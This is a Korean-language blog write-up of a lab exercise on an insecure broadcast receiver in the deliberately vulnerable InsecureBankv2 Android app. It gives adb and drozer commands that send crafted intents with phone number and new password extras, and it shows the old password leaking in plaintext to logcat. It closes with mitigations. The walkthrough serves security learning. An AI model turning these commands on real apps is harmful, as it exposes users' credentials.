[mobile]브로드캐스트 리시버 결함

zzsla·2023년 8월 19일
0

취약점 소개

브로드캐스트란
Broadcast는 송신 호스트가 전송한 데이터가 네트워크에 연결된 모든 호스트에 전송되는 방식이다.

브로드캐스트 리시버
브로드캐스트 리시버는 안드로이드 시스템의 중요 요소 중 하나이다.
안드로이드 디바이스에서 이벤트가 발생 시 브로드캐스트로 신호를 보내면 이것을 브로드캐스트 리시버가 받아 처리한다.
브로드캐스트를 받기 위해서 브로드캐스트 리시버가 AndroidManifest.xml<receiver></receiver>에 선언되어야 한다.

브로드캐스트 리시버가 안전하지 않게 설정되어 있는 경우 사용자가 받는 알림을 중간에서 가로챌 수 있고, 특정 상황에서만 발생하는 작업을 우회하여 수행할 수 있다.

취약점 진단 과정

취약점을 진단하기 전에 AndroidManifest.xml에 선언된 리시버와 브로드 캐스트 리시버를 상속 받은 메소드를 살펴본다.

android:exported="true"로 되어 있어서 외부 애플리케이션으로부터 intent를 받을 수 있는 상태이다.
MyBroadCastReceiver는 go to > Declaration or Usages를 통해 이동할 수 있다.

IntentonRecevie()로 들어오는데 phonenumber가 없는 경우 "Phone number is null"이 출력된다.

ADB를 이용한 브로드캐스트 생성

ADB로 브로드캐스트를 생성하기 위해 cmd로 먼저 실시간 log를 확인하기 위해 logcat을 켜고, 다른 cmd로는 adb shell을 켜고 또 다른 cmd는 Insecurebank server를 켠다.

//log확인
adb logcat
//연결된 에뮬레이터 확인
adb devices
//브로드캐스트 생성하기 위해 에뮬레이터와 연결한다 
adb shell
//Insecurebnak sever 연다.
C:\Android-InsecureBankv2-master\AndroLabServer> python app.py

에뮬레이터와 연결된 곳(adb shell)에서 다음 명령어를 적는다.

am broadcast -a theBroadcast -n com.android.insecurebankv2/.MyBroadCastReceiver

am은 액티비티 매니저로, 안드로이드 시스템의 다양한 액션을 명령으로 수행할 수 있다.
-a옵션은 액션을 의미한다. 즉 -a theBroadcasttheBroadcast라는 액션이 실행한다는 의미이다.
-n com.android.insecurebankv2/.MyBroadCastReceivercom.android.insecurebankv2패키지에 있는 MyBroadCastReceiver클래스에 Intent가 전달된다는 의미이다.

logcat에서 결과를 보면 phonenumber값이 없기 때문에 6번째 줄에 Phone number is null이라고 나온다.

이번에는 phonenumber값과 newpass값을 포함하여 브로드캐스트를 생성한다.

am broadcast -a theBroadcast -n com.android.insecurebankv2/.MyBroadCastReceiver --es phonenumber 5555 --es newpass test

결과를 보면 값에 잘 들어간 것을 확인할 수 있다. 그리고 기존에 계정 비밀번호인 Jack@123$가 평문으로 노출되는 것을 확인할 수 있다.

드로저를 이용한 브로드캐스트 생성

드로저를 사용하기 위해서 먼저 에뮬레이터에 드로저 서버를 켠다

그리고 cmd에서 다음 명령어 적어 드로저에 접속한다.

adb forward tcp:31415 tcp:31415
drozer.bat console connect

일단 취약점을 확인하기 위해 다음 명령어를 수행한다.

run app.package.attacksurface com.android.insecurebankv2


결과를 보면 broadcast 부분이 attack surface라고 나와있다.

이번에는 드로저에서 브로드캐스트를 생성하여 logcat에 값이 어떻게 나오는지 확인한다.

run app.broadcast.send --component com.android.insecurebankv2 com.android.insecurebankv2.MyBroadCastReceiver --extra string phonenumber 1111 --extra string newpass test

아까랑 동일하게 기존 비밀번호가 출력되는 것을 볼 수 있다.

취약점 대응 방안

브로드캐스트 리시버의 악용을 방지하기 위한 방법은 AndroidManifest.xml의 리시버 항목에 위치하는 "android:exported=true"항목을 false로 설정하여 외부 애플리케이션의 인텐트 영향을 받지 않게 하는 것이다.

다른 방법으로 각 리시버에 별도의 권한을 주는 것이다.

profile
[README]newbi security hacker :p

0개의 댓글